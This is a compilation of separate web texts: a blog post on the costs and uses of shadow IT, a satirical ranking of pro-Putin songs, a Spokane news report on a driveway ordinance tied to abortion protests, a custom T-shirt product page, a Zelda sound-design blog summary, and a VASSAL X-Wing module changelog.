-Who knows what evil lurks in corporations outside the IT department? Only the shadow knows.  The term “shadow IT” is gaining in popularity, but the concept is not new. It refers to hardware and software used by company departments, outside of the hardware and software controlled by the company IT team. Whether departments do this because they don’t want IT to know what they’re up to, or because they find IT controls too arduous, shadow IT is becoming pervasive.  According to a recent study by Frost & Sullivan, “The Hidden Truth Behind Shadow IT,” 80 percent of employees surveyed admitted that they used unapproved software-as-a-service (SaaS) applications in their jobs. And not just one or two, either. “The average company utilizes around 20 SaaS applications; of these, more than 7 are non-approved,” the study says. “That means you can expect that upwards of 35 percent of all SaaS apps in your company are purchased and used without oversight.”  To a certain extent, this is all tying into the whole CMO/CIO debate we’ve been following for a while, where marketing organizations set up their own parallel IT structure because they complain that IT is not as responsive as they’d like.  So what’s wrong with shadow IT, anyway? Isn’t it just a way to get around those overly paranoid control freaks in IT? In a word, no. Here are some of the problems with shadow IT:  It duplicates efforts: Organizations with multiple IT structures are likely buying hardware and software they don’t need, whether it’s two half-used servers where one would do, or two licenses for software instead of one larger one that’s more economical. It also means that IT doesn’t have a clear view of the hardware and software needs of the organization, making it more difficult to plan future purchases. Not to mention, how much time does it take away from the non-techies’ work to set all this stuff up? Moreover, unauthorized software could put the company at risk for an audit, writes ComputerWeekly.  It makes it harder for corporate IT to evolve: If individual departments are buying the new hardware and software instead of the IT department, it means that IT as a whole can’t evolve, and the other departments don’t get to share the value of the newer technology.  That said, if harnessed properly, shadow IT can end up being used as a “skunk works” for corporate IT. The Frost & Sullivan study equates the shadow IT (which it limited to employees using “software as a service” applications) issue to that of “bring your own device” policies and how they were spawned by the number of people bringing their own smartphones and tablets to the office. (And, going back even further, the PC itself was often brought into companies on a departmental level.) A similar revolution could be in store for applications, the company writes. In fact, Gartner Inc. is suggesting that organizations look at shadow IT as an opportunity to test out new technology.  It makes security more difficult: Typically, we’d like to think, the people in IT are the experts. They’re the ones who know about security issues, how to protect systems, how to apply patches, and so on. If there are additional systems in the company that these IT people don’t know about, then the systems may be more vulnerable to hacking and other issues, putting company data at risk.  It makes information governance more difficult: If people are, for example, clandestinely copying company files to a cloud service so they’ll have access to them outside work—bypassing the corporate VPN, let’s say, because they find the performance unacceptable—this creates vulnerabilities and versioning problems. If you end up with multiple copies of the database, how do you know which is the right one? If you have a system for deleting all company files after a certain period of time, but it turns out there’s extra copies on a cloud somewhere, it could put the company at risk during a legal situation.  Maybe It Is Your Fault After All  On the other hand, sometimes shadow IT is just a matter of those overly paranoid control freaks in IT. An IT organization that sees too many people setting up shadow IT might want to take a look at its own procedures to see how they could be simplified, rather than just becoming known as the Department of No.  It tells you something that, according to the Frost & Sullivan study, IT staff are more likely than non-IT staff to use unapproved applications—a case of “Don’t do what I do, do what I say.” But an organization where even the IT staff doesn’t follow the rules doesn’t have much of a leg to stand on when expecting non-IT employees to follow the rules.  The one thing you can’t do? Expect shadow IT to go away just on your say-so. Instead, monitor your networks so you have a better idea of what sort of shadow IT use is going on, writes CIO. And, like parenting teenagers, pick your battles, focusing on the shadow IT uses that most put the company at risk, such as personal cloud services.  In the meantime, remember: “The weed of crime bears bitter fruit. Crime does not pay… The Shadow knows!”
-A music critic once argued that Vladimir Putin-inspired songs are the worst thing Russia’s president has done to Russia. As a matter of fact, Putin songs could be regarded as an entire genre of music in their own right. From belligerent war tunes to maudlin love ballads to lavishly produced videos to amateur clips on YouTube, music of all permutations has been created to heap praise to the butch power of the Kremlin leader.  Some Putin song warblers are motivated by political or financial incentives, others by sincere passion for the president.  Here is a selection of your correspondent’s seven favorite Putin songs. A point of order: by no means is the list comprehensive and it omits some classics, such as electronic disco hit A Man Like Putin.  7. When We Are Together, Masha Rasputina  You’re browser does not support HTML5 video. You may download this video instead. Rasputina performs her hit at a concert in 2015.  All the power and pain of the Russian state is packed in this jingoistic tour de force performed by Masha Rasputina, a pop diva better known for her raunchy, erotic oeuvre. Famous songwriters Ilya Reznik and Kay Metov wrote this one in the best traditions of World War II-era Russian crowd rousers. Rasputina, brimming with patriotism and collagen, strikes a feisty pose on stage and belts out in her husky voice: “In this historic moment of worries, hopes and trials, our friend/president, please accept the gratitude of the nation.” Russia’s tricolor flags wave across giant screens behind her. Putin appears signing decrees, dispensing awards, stealing a peninsula from Ukraine, hanging out with senior citizens and hockey players. Rasputina goes on to proclaim that God sent Putin to Russia to help reclaim its destiny as a great nation. A choir of children, mostly girls in bleach-white dresses and bows, kicks in at the chorus: “Russia is praying for you and you pray for Russia.”  6. My Best Friend, Sasha Chest ft. Timati  You’re browser does not support HTML5 video. You may download this video instead. Since it premiered in October 2015, the music video was viewed more than 11 million times on Youtube.  Putin is a total bro, according to Sasha Chest and Timati. In this sleek video, the pair of hip-hop artists take a smooth, groovy beat to Red Square to profess their respect for the president. “My best friend is President Putin,” Timati chants rhythmically in a sonorous, doubled-tracked vocal. Through flashes, Putin’s graffiti portrait menacingly appears on a black wall. Sasha goes on to spell out the many feats of his homeboy Putin, as a fast medley of images shows skateboarders, cyclists, water scooter riders and a DJ all wearing Putin masks. “He is a cool superhero and you know it… girls go crazy about him.” The party hits the roof in a club. Babes shake in slo-mo. The performers take a moment to do a little patriotic product placement: “Russian make is back in demand: Lada sedan, salute Avtovaz!”  The song does get you in a dance mood, but there something particularly off about rap, a genre largely devoted to dissing the system, being used to glorify a national leader that Sasha calls “the White Lord.”  5. Come on Girls, Let’s Help Putin!, Yuliya Vinokurova  You’re browser does not support HTML5 video. You may download this video instead. At one point the music video compares images of a shirtless Putin and Obama.  Everyone out there spoiling for a fight with Putin will have to go through Yuliya Vinokurova, an obscure singer from Samara. In 2015 she produced a folksy, ebullient march calling for Russian women — fellow “babas” as she puts it — to rise-up for Putin.  She holds a vigil with her arms akimbo, snapping her fingers at Putin’s ill-wishers out there in the West. “Enemies are ganging up on Russia again. Once more, they have surrounded the homeland,” Vinokurova goes in her zesty, piercing voice. “Come on babas, let’s help Putin or else Obama will peck him to death,” she sings as both presidents are shown with or without their shirts on in the YouTube video.  But don’t turn away. Stick with the song, it gets better:  “Countries of NATO are marching on us. They want to disturb our peace. Their babas have no breasts and have beards, while our babas have, oh, what great breasts.”  This last bit is refrained twice. Then, after a key change, she continues: “Come on babas, let’s give the enemy some whooping our baba-way. Come on babas, let’s help Putin. He is the one muzhik [real man] left in all of the world.”  4. Song about Putin, Alexey Smirnov ft. Putin  You’re browser does not support HTML5 video. You may download this video instead. “A great song about Putin for a simple nation,” reads the caption below Smirnov’s video on Youtube.  In this DYI-Putin song, a certain Alexey Smirnov is pretty much jamming in duo with his favorite president. Smirnov, a concerned citizen apparently, could not take any more Putin-bashing and recorded a homemade response to remind an ungrateful nation of the great things Putin has done for Russia.  The president’s words are taken from public statements and inserted in the parts of the song where they fit musically and thematically. “Many are not content with our country, with the constitution, lives, jobs, fate. ‘Change the laws,’ they go brandishing posters,” Smirnov sings. Putin appears responding: “You need to change your brains.” And so the president and the citizen go offering rhyme and reason together:  Smirnov: “Of course it is easier to blame the state for everything. We don’t want to work, we rather pour some vodka,” which is poison.  Putin: “And you have got to know that.”  Smirnov: “Why accomplish anything yourself? Let the state provide us with everything.  Putin: “You are angry and that means you are wrong.”  Smirnov: “They say we chose a wrong path.”  Putin: “I disagree.”  The video is punctuated by a montage of footage showing Russia’s military and industrial might. It ends with Putin saying, “thank you for your attention.”  3. Attaboy, Vladimir Putin!, Oleg Likhachev  You’re browser does not support HTML5 video. You may download this video instead. Ordinary Russians young and old appear throughout Likhachev’s Youtube music video, reminding viewers that Putin is a fine fellow.  The 80s are alive and well in these four minutes of syncopated bootlicking for the Russian leader. This and many of his other pro-Kremlin music videos have failed, somehow, to deliver the bush-league singer and actor Oleg Likhachev to the stardom that he aspires, but he sure keeps trying.  The video opens with Putin making his inaugural walk through clapping crowds and grand halls of the Kremlin on his way to his latest, third term as president. After a synthesizer pop-style intro, the video takes you down memory lane, rehashing Russia’s recent history. After mentioning how the USSR crumbled around Russia and a “bloodthirsty bird” flew into the country (a star-spangled American eagle appears for those slow on the pick up) amid economic turmoil, Likhachev gets on with his cheery, feel-good refrain. “Vladimir Putin is a fine fellow — a politician, leader and fighter. Our president has put the county on its feet.”  2. VVP (Vladimir Vladimirovich Putin), Tolinjon Kurbanhanov.  You’re browser does not support HTML5 video. You may download this video instead. VVP reached over a million and a half views on Youtube alone.  An ode to Putin by a man from Tajikistan is the biggest non-sequitur of the genre. This internet video sensation was found to be so bizarrely bad that Kremlin critics have called it the best anti-Putin video ever. But Tolinjon Kurbanhanov was serious about his unsolicited attempt in 2012 to help get Putin re-elected, where he gushes about his idol in accented Russian: “The country was in crisis, people were suffering and then God sent him to us. Did you notice how he happened to come to power in the beginning of a century and a millennium?”  Kurbanhanov’s phlegmatic expression hardly changes as he elaborates in tedious detail about the Russian economy. The chorus:  VVP saved the nation  VVP is protecting  VVP lifted up Russia and is developing it more and more.  One of many unfortunate things about the video is that it exposed Tajiks — often targets of intolerance and derision in Russia — to even more mockery. But this was just a beginning for Kurbanhanov. He has since made two more Putin music videos.  1. My Putin, Mashany  You’re browser does not support HTML5 video. You may download this video instead. Mashany leafs through a scrapbook of Putin portraits in her viral music video.  Here, we have a love song that in 2015 pretty much broke the Russian internet. Mariya Osintseva, a Siberian woman who goes by the name Mashany, sings an ecstatic valentine for the Russian leader. Many viewers watched the fiercely tacky production in disbelief as the young performer, variably dressed in the colors of the Russian or Ukrainian flags, declared her love for Putin and relished in his annexation of Crimea. “I’m smitten, I am under your spell, can’t get you out of my head,” Mashany warbles as she traipses through a sun-drenched field. She then appears to portray Ukraine locked in a dungeon, waiting for its saviour. “Who that might be?” a voice asks and she bursts into the refrain:  You are Putin, you are so Putin.  I want to be with you. I’m screaming after you.  Putin, my dear Putin.  Take me away with you, I want to be with you.  Internet users on either side of the Russian-Ukrainian confrontation roasted Mashany but she could not be stopped and has since dropped more musical bombs online. She even offered fiscal advice to Putin in her Dollar-Ruble song to help curb depreciation of Russian currency. “After discussing this with colleagues we came up with a proposal about [pegging the exchange rate at] one dollar for one ruble,” She sings in front of approving hay stacks. The rest of the song is an enthusiastic gibberish evincing little regard for rhyme, grammar and sound monetary policy. No mention of Crimea this time, but she does remind Putin that reclaiming Alaska from the United States is long overdue.
-A proposed city law about driveways turned into a full-throated debate on abortion Monday night at Spokane City Hall.  As 62 people spoke about an ordinance that added 11 words to the city’s rule books, Spokane City Council members generally listened quietly over the two and a half hours of testimony.  Very few people focused on the section of the city’s municipal code, which makes it illegal to block traffic on public roads. The new section debated at the meeting added: “or in a driveway located in the public right-of-way.”  Instead, abortion foes and advocates of abortion rights tried to persuade the council to vote according to their own, very different beliefs.  It’s the third City Council meeting in a row that drew large crowds on controversial issues. Before the council took a break for the holidays, Council President Ben Stuckart’s proposal to create an apprenticeship program on large city projects was met with almost 200 people. Most of those who testified that night sided with Stuckart.  Last week, a rowdy crowd almost derailed the meeting as it protested the council’s vote backing the Spokane Police Department policy to not ask people about their immigration status.  On Monday night, 250 people jammed into the council chambers and in the adjoining Chase Gallery to get a chance at the lectern.  Anti-abortion activists said they were respectful when protesting outside of Planned Parenthood, which became the focus of debate. Most said they were polite to people entering the clinic, and only spoke when someone seemed ready to listen.  One man, however, said he had been “proclaiming Scripture at premeditated infanticide for 14 years.”  On the other side, abortion rights advocates accused protesters of dressing like clinic employees and tricking people to roll their windows down, when they’d get a prayer, denunciation or sermon.  At the end less than half of those who spoke supported the ordinance. The council voted 6-1 to add the new section.  Councilman Jon Snyder said the night’s testimony was “making it more complicated than it needs to be.”  He said he supported “a woman’s right to choose,” but argued that this ordinance simply barred people from blocking a business driveway, regardless of the business.  “Why is this business any different?” Snyder asked about Planned Parenthood. “It isn’t. It isn’t.”  Councilman Mike Fagan was the sole member to vote against it, but not before giving an impassioned, 15-minute plea to his colleagues to strike the proposal down.  Fagan argued that the law was unconstitutional and violated free speech rights, but it had personal implications as well.  “I am pro-life,” he said, noting that when he was a teen, he and his girlfriend terminated a pregnancy. “I am Christian.”  Councilwoman Karen Stratton said she was raised Catholic and had been schooled by the religion for 12 years. She said she learned to be “courteous, respectful of others and to speak my mind.”  “I’m all about the protest,” Stratton said. “Just don’t do it in a driveway.”
-​Fully customisable  100% Cotton Jersey T-shirt  pre-shrunk  Machine Washable at 40c  Printed with high quality vinyl  European Fitted Cut  View Sizing details  Also available in Women's and Children's sizes  Fast 1-3 day production time  Express delivery Option  Option with printed background also available  We use a European sizing fitted t-shirt, the sizes might vary to those in other parts of the world. Please check our sizing page and select the next size up if you prefer a looser fit.  Please check the design and the spelling thoroughly before completing your purchase.  To use the Keep Calm and Carry On Creator to make your own products you expressly acknowledge, agree and hereby that:  (1) The design submitted must not be offensive, inappropriate or be deemed so in anyway.  (2) Keep Calm and Carry On Ltd reserve the right to cancel any design we deem offensive or inappropriate.  (3) The design or content does not infringe the copyright, trademark, patent, right of privacy, right of publicity or other legal right of anyone or third party.  (4) You will comply with all applicable laws, rules, and regulations.  (5) Keep Calm and Carry On Ltd will not be held liable for any claims, demands or any form of litigation with respect to any of your design or content.  (6) Make it Yourself products made with the Keep Calm and Carry On Creator are made and produced individually to order. They are not refundable under any circumstances unless deemed to be faulty.
-This week again, Nintendo published a blog post about The Legend of Zelda: Breath of the Wild on the official blog of the Legend of Zelda portal in Japan. This time, the post was written by Mitsuhiro Hikino, who was in charge of Sound Design.  If you’ve played The Legend of Zelda: Breath of the Wild, you’ve probably noticed that the sound effects are quite simply marvelous. That’s one aspect the development team put a lot effort into, so that players could really immerse themselves in the world of Hyrule. This new blog post explains how some of the sound effects were created, more specifically those for Link’s footsteps and equipment clanking.  The development team worked with Sound Racer, a studio specialised in sound effects (who also worked on Xenoblade Chronicles X). In total, they recorded more than 10 000 different sounds for the game.  The first picture shows the recording of sound effects for footsteps on the ice, while the second one shows the school bag they used to simulate the sound of rubbing leather.  For the sound of “normal” footsteps, they mixed various kinds of sands. As for the sounds effects of equipment, they had to search for various materials and find ways to use them. It looks like creating sound effects requires one to be quite the creative type!  Of course, the recording process wasn’t withot issues. Take the block of ice from the picture above: it always ended up melting, or getting cracks when the staff had to walk on it during recording. And you can probably imagine the stinky smell of grass they had to step on…  Mitsuhiro Hikino also points out that Link’s footsteps were made by a woman (first picture).  In-game, depending on Link’s actions and the equipment he’s using/wearing, the recorded sounds can be separated pretty finely, and volume is changed as needed to make a particular sound stand out.  Next, Mitsuhiro Hikino shares an example, with footsteps. You may not be aware of that while playing, but if you go listen to the sound samples on the blog, you can definitely picture grassland and a snowy field with just the sound effects.  And that’s how sound effects with various subtleties are created. As you can imagine, those sound effects will not sound the same if you hear them through the speakers of your TV than if you’re using headphones.  Previous blog posts:  Source: Nintendo
-From VASSAL  Publisher Fantasy Flight Games Era Fantasy Year 2012 Topic Science Fiction Players 1-6 Scale Miniatures Length varies  ‎  Files and Module Information  Filename Filetype Size Date Compatibility Developer Other Contributors 8.4.1 Star_Wars_X-Wing_Miniatures_Game-8.4.1.vmod module 61.58 MB 3.2.17 8.4.0 Star_Wars_X-Wing_Miniatures_Game-8.4.0.vmod module 61.57 MB 3.2.17 8.3.0 Star_Wars_X-Wing_Miniatures_Game-8.3.0.vmod module 61.51 MB 3.2.17 8.2.5 Star_Wars_X-Wing_Miniatures_Game-8.2.5.vmod module 57.9 MB 3.2.17 8.2.0 Star_Wars_X-Wing_Miniatures_Game-8.2.0.vmod module 47.97 MB 3.2.17 8.1.0 Star_Wars_X-Wing_Miniatures_Game-8.1.0.vmod module 75.88 MB 3.2.17 8.0.9 Star_Wars_X-Wing_Miniatures_Game-8.0.9.vmod module 75.77 MB 3.2.17 8.0.8 Star_Wars_X-Wing_Miniatures_Game-8.0.8.vmod module 75.68 MB 3.2.17 8.0.5 Star_Wars_X-Wing_Miniatures_Game-8.0.5.vmod module 88.13 MB 3.2.17 8.0.0 Star_Wars_X-Wing_Miniatures_Game-8.0.0.vmod module 87.19 MB 3.2.17 7.7.1 Star_Wars_X-Wing_Miniatures_Game-7.7.1.vmod module 67.93 MB 3.2.17 7.7.0 Star_Wars_X-Wing_Miniatures_Game-7.7.0.vmod module 81.64 MB 3.2.17 7.5.2 Star_Wars_X-Wing_Miniatures_Game-7.5.2.vmod module 65.41 MB 3.2.17 7.5.1 Star_Wars_X-Wing_Miniatures_Game-7.5.1.vmod module 72.14 MB 3.2.17 7.5.0 Star_Wars_X-Wing_Miniatures_Game-7.5.0.vmod module 65.4 MB 3.2.17 7.4.3 Star_Wars_X-Wing_Miniatures_Game-7.4.3.vmod module 63.79 MB 3.2.17 7.4.1 Star_Wars_X-Wing_Miniatures_Game-7.4.1.vmod module 62.13 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 7.1.2 Star_Wars_X-Wing_Miniatures_Game-7.1.2.vmod module 75.62 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 7.1.0 Star_Wars_X-Wing_Miniatures_Game-7.1.0.vmod module 75.34 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 7.0.8 Star_Wars_X-Wing_Miniatures_Game-7.0.8.vmod module 74.65 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 7.0.7 Star_Wars_X-Wing_Miniatures_Game-7.0.7.vmod module 73.72 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 7.0.5 Star_Wars_X-Wing_Miniatures_Game-7.0.5.vmod module 73.23 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 7.0.3 Star_Wars_X-Wing_Miniatures_Game-7.0.3.vmod module 72.4 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 7.0.1 Star_Wars_X-Wing_Miniatures_Game-7.0.1.vmod module 71.96 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 6.5.3 Star_Wars_X-Wing_Miniatures_Game-6.5.3.vmod module 71.59 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 6.5.2 Star_Wars_X-Wing_Miniatures_Game-6.5.2.vmod module 71.56 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 6.5.0 Star_Wars_X-Wing_Miniatures_Game-6.5.0.vmod module 71.34 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 6.4.0 Star_Wars_X-Wing_Miniatures_Game-6.4.0.vmod module 71.33 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.17 6.3.2 Star_Wars_X-Wing_Miniatures_Game-6.3.2.vmod module 67.89 MB 3.2.17 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 6.3.0 Star_Wars_X-Wing_Miniatures_Game-6.3.0.vmod module 64.33 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 6.2.6 Star_Wars_X-Wing_Miniatures_Game-6.2.6.vmod module 64.03 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 Imperial_Ships_Update_6-2-6.zip vlog 573 KB 3.2.16 Rebel_Ships_Update_6-2-6.zip vlog 573 KB 3.2.16 6.2.4 Star_Wars_X-Wing_Miniatures_Game-6.2.4.vmod module 62.4 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 Scum_and_Villiany_Ships_Update_6-2-4.zip vlog 532 KB 3.2.16 6.2.3 Star_Wars_X-Wing_Miniatures_Game-6.2.3.vmod module 62.08 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 6.2.2 Star_Wars_X-Wing_Miniatures_Game-6.2.2.vmod module 61.43 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 Scum_and_Villainy_Ships_Update_6-2-2.zip vlog 1.06 MB 3.2.16 Imperial_Ships_Correction.zip vlog 872 KB 3.2.16 6.2.0 Star_Wars_X-Wing_Miniatures_Game-6.2.0.vmod module 60.55 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 Rebel_Ships_Update_6-2-0.zip vlog 2.23 MB 3.2.16 Scum_and_Villainy_Update_6-2-0.zip vlog 567 KB 3.2.16 HotAC_Vassal_2.1.vmdx Heroes of the Aturi Cluster campaign 23.59 MB 3.2.16 6.1.0 Star_Wars_X-Wing_Miniatures_Game-6.1.0.vmod module 59.64 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 Imperial_Ships_Update_6-1-0.zip vlog 511 KB 3.2.16 Rebel_Ships_Update_6-1-0.zip vlog 3.7 MB 3.2.16 Scum_and_Villainy_Ships_Update_6-1-0.zip vlog 6.14 MB 3.2.16 HotAC_Vassal_v2.vmdx Heroes of the Aturi Cluster campaign 23.34 MB 3.2.16 6.0.2 Star_Wars_X-Wing_Miniatures_Game-6.0.2.vmod module 49.42 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 Rebel_Ships_6-0-0.zip vlog 9.07 MB 3.2.16 Scum_And_Villiany_6-0-0.zip vlog 6.36 MB 3.2.16 6.0.0 Star_Wars_X-Wing_Miniatures_Game-6.0.0.vmod module 49 MB 3.2.16 Universal_Map_Pack_1.0.vmdx MapExtension 16.22 MB 3.2.16 Starting_Layout_6-0-0.vlog vlog 110 KB 3.2.16 Imperial_Ships_6-0-0.zip vlog 10.13 MB 3.2.16 Rebel_Ships_6-0-0.zip vlog 9.07 MB 3.2.16 Scum_And_Villiany_6-0-0.zip vlog 6.36 MB 3.2.16  For Older files and version history see the modules' archives here  If you want some help getting started with the module, go here  If you're looking for the critical damage card text and effect (standard and huge ships), go here  IMPORTANT v8.0.0 and future versions can't play with prior versions because of a totally revamped filename system.  IMPORTANT - since v5.0.0, only the main module file is needed to play. In addition, you may get the map pack (Universal map pack v1.0) if you are tired of seeing black backgrounds and the basic 3x3 starfield map. Getting the single ship module extensions (e.g. X-Wing, TIE Interceptor, etc.) is NO LONGER NECESSARY. Also optional, the faction files that lets you get logfiles of ships set up with stats, cards and dials, 1 ship type per logfile.  Version 8.4.1  Escrow Squad feature showstopping bug fixed  Squad Points upon spawning  Version 8.4.0  Escrow Squad feature  New mouse interface. ctrl-left click on a ship while it's on the map to activate AND interact with the buttons. This is only a very rough, very early demo  Version 8.3.0  Brand New Dial (2.0 style)  Reveal+automove  Version 8.2.5  Massive optimization of the launching process with the content self-check  Autospawn squads with URLs again  Say 'set' button in player windows  Tons of fixes  Version 8.2.0  The Full 2nd edition is now playable with this module  Backward compatibility with 1st edition is fully maintained as well  The 1st edition art assets were stripped out to save space. To get them back, go to the Content Checker and download it all back  Version 8.1.0  2 new playable 2.0 lists (autospawned) from some Worlds 2018 demo games, featuring Vader + 3x Black Ace and Boba Fett + Joy Rekkoff + Zealous Recruit  Version 8.0.9  Autospawn bug fixed - you can now give it a squad URL again  Version 8.0.8  Playable 2.0 lists (autospawned) from the team covenant demo game, featuring Captain Feroph + 3x Black Ace + Maarek vs Edrio + Benthic + Jek + Gray Sq Bomber  Tallon Roll 1 uses a new shortcut to avoid a conflict with +1 hull  More work continued on the 2.0 elements  Version 8.0.5  Autospawn bug fixes (dual cards possible again; U-Wings can flip again; stats alteration due to cards again; ordnance + illicit tokens again, etc.)  S-Foils work the same way (ALT-U) and alters the gfx of the x-wing a bit  Content Checker is now the only way to get new content and flashes red when stuff is available  Some work started on the 2.0 elements  Version 8.0.0  New automated update system; no need to download a new module every time a few cards or ships come out (unless there's a brand new mechanism or new tokens)  Barrel roll and decloak templates now appear for all players and observers if spawned in open space, instead of just the initiator.  Version 7.7.1  Sheathipede-class now shows correctly rotated ship action (shift-a, etc.)  Many ships which can have the forward launch ability can now launch these bombs with the CTRL-SHIFT-B frontal bomb spawner  Chopper astromech is now correctly counted as 1 squad point during autospawn  Some issues with illicit and extra munitions token in the same list during autospawn is now resolved  TIE Silencer maneuver ref card now shows bank 3 as green instead of white.  Version 7.7.0  M12-L Kimogila Fighter (wave 12) is now fully playable  Sheathipede-class Shuttle (wave 12) is now fully playable  TIE Silencer (wave 13) is now fully playable  B/SF-17 Resistance Bomber (wave 13) is now fully playable  Autorange is now possible for all types of arcs, adding front aux arc, mobile turret arc and bullseye arc + bug fixes for older autoranges  Autorange toggled on will now be visible to all players and observers  Bombs can now use the Forward 5 maneuver template for Bomb Launching  Cargo Debris will now be involved correctly in an overlap event even if it's rotated  Version 7.5.2  The Lancer-class Pursuit Craft arc graphics will now rotate with the ship's orientation  Version 7.5.1  Barrel rolling into empty space no longer only works for the player performing the roll  Alpha-class Star Wing now has side action icons  Lancer-Class now has better options for firing arc toggling  Version 7.5.0  Alpha-class Star Wing (wave 12) is now fully playable  In-Arc (front and back) autorange finder is now available, toggled with CTRL-SHIFT-F and CTRL-SHIFT-V respectively  Illicit, Extra Munitions tokens spawn on their respected cards during autospawn.  Nastah Pup can autospawn with the right pilot skill if Hound's Tooth title is equipped  Lancer-Class Pursuit Craft has a simpler arc toggle graphic shortcut (CTRL-F used for all 4 directions)  Overlap events now display the red flash for both players  Version 7.4.3  Cards from wave 12 and 13 preview articles  Bomb Spawner now deletes for every player when used to deploy bombs, not just for the owner  Deathrain style front bombing now has all the same options regular bombing has  3 new maps from the vassal league s5 sponsors  Version 7.4.1  Templates and ships can self-detect an overlap with obstacles/ships with 'c' for templates and 'alt-c' for ships  Repositioning with barrel rolls and decloaks, as well as weird versions of these (with banks or fwd 2) can self detect an obstacle  Bomb spawner once more completed with hard turn 1 and bomblet token  Autorange finder with CTRl-SHIFT-L with turrets or target locks, with obstruction detection  Version 7.1.2  New StarViper pilots, illicit and condition cards  TIE Aggressor can have side actions, dial no longer has fwd 5  Anti-cheat dial message is now less trigger happy  Version 7.1.0  TIE Aggressor fully playable, wave XI complete  TIE Aggressor can now Tallon Roll  Anti-cheat measures makes this update mandatory  Version 7.0.8  Scurrg H-6 Bomber fully playable  A few more tokens appear with autospawn with certain cards (ie ps12)  Version 7.0.7  Auzituck Gunship fully playable  Bug affecting 7.0.5 ships moving in a map with pre-7.0.5 obstacles is now fixed  Version 7.0.5  C-Roc cruiser is now fully playable  Bug affecting certain ships who no longer triggered the overlap (like they did in 7.0.1 but no longer could in 7.0.3) event has been fixed  Flipped obstacles (CTRL-S) now work with overlaps  Version 7.0.3  Cards from TIE Aggressor and Guns for Hire previews  Popup informing you of new version to download, with clickable link  No more reports of ship movement/overlap in your player hand  Lorrir + StarViper Mk.II style barrel roll now work for StarVipers, changed shortcuts (see "How To & Shortcut" in the module under Weird Ships #1, or right click on the ship)  Version 7.0.1  Overlap detection: ship on ship, ship on obstacle/mines, ship fleeing the map, template on obstacles/mines  Cards from wave 11 and Jabba previews  Maneuvers redone in java - must update  News about tournaments/leagues upon logging  Version 6.5.3  AutoSpawn bug fix for 6 cards from "Hit and Run" preview article  U-Wings now spawn with a focus token  Version 6.5.2  AutoSpawn moved to player window, restricts usage to player # owning the window  AutoSpawn layout changed to regroup ships up top  6 new cards added from Hit and Run preview article (scyk pilots, etc)  AutoBump bugs fixed: straights no longer leave gaps, range rulers no longer crash it  Dual cards spawned with autospawn now warn user of decision to make  Version 6.5.0  Autobumping with the 'c' shortcut  Autospawn improved  Sabine's TIE Fighter can drop bombs  Version 6.4.0  Squad AutoSpawn from web  TIE Striker can now segnor's loop  Modified OpenDial graphics for TIE Advanced and TIE/fo fighter (missing 5 forward move)  Version 6.3.2  Upsilon shuttle is now playable  All cards up to C-ROC announcement are now added, Wave 10 100% in  Sabine's TIE Fighter can now drop bombs  Graphic helpers to let you use or anticipate BoShek crew's effect  Version 6.3.0  U-Wing and TIE Striker now 100% complete and bug free  4 dials were changed (for BoShek functionality): Aggressor, JumpMaster5000, StarViper and Quadjumper. Please respawn  Custom S&V pilot card, custom upgrade card and Full Dial revised under Pieces/Missions  Version 6.2.6  U-Wing now playable  TIE Striker now playable  Revised helper graphics in "How To & Shortcuts"  Version 6.2.4  Draw a specific card is done via the Observer player window instead. Bring your cards to it and select-draw a card there.  Basic maneuever helper reference image has been updated with the newer moves  Version 6.2.3  Quadjumper is now playable  New added cards from the Fly Backward article  Heroes of the Resistance cards (last 3) are now fully added  Ability to draw a specific card from the main damage deck  Version 6.2.2  New added cards from the Suppressive Fire and Fanatical Devotion articles  YV-666 aux arc (CTRL-N) has been slightly fixed  Version 6.2.0  Heroes of the Resistance is now fully in  New added dice results are complete, can be set to other faces manually, can be rerolled  Shadow Caster has a cyan hue instead of red for its mobile turret, also has visible right click shortcut for orientation changes  Version 6.1.0  Protectorate Starfighter is now playable  Lancer-Class Pursuit Craft is now playable  ARC-170 is now playable  Cards from first wave 10 preview  Special Forces TIE Fighter can now do a segnor's loop (bug fix)  Version 6.0.2  Special Forces TIE Fighter is now playable  Cards from wave SF T/F preview  Huge ships no longer have crippling lag as time progresses  CR90 and Raider even have an ultra fast no-stats versions for their ship tokens  Version 6.0.0  Complete overhaul of ship (small, large) arcs  Cards from wave 9 preview and ARC-170 preview  Screen Shots  Players  AidenDouglass  hendersondayton  littlebull76  Parakitor  KickinAces  TrevorGoodchild  18thAngel  Azrael909  Tortello  Pieter
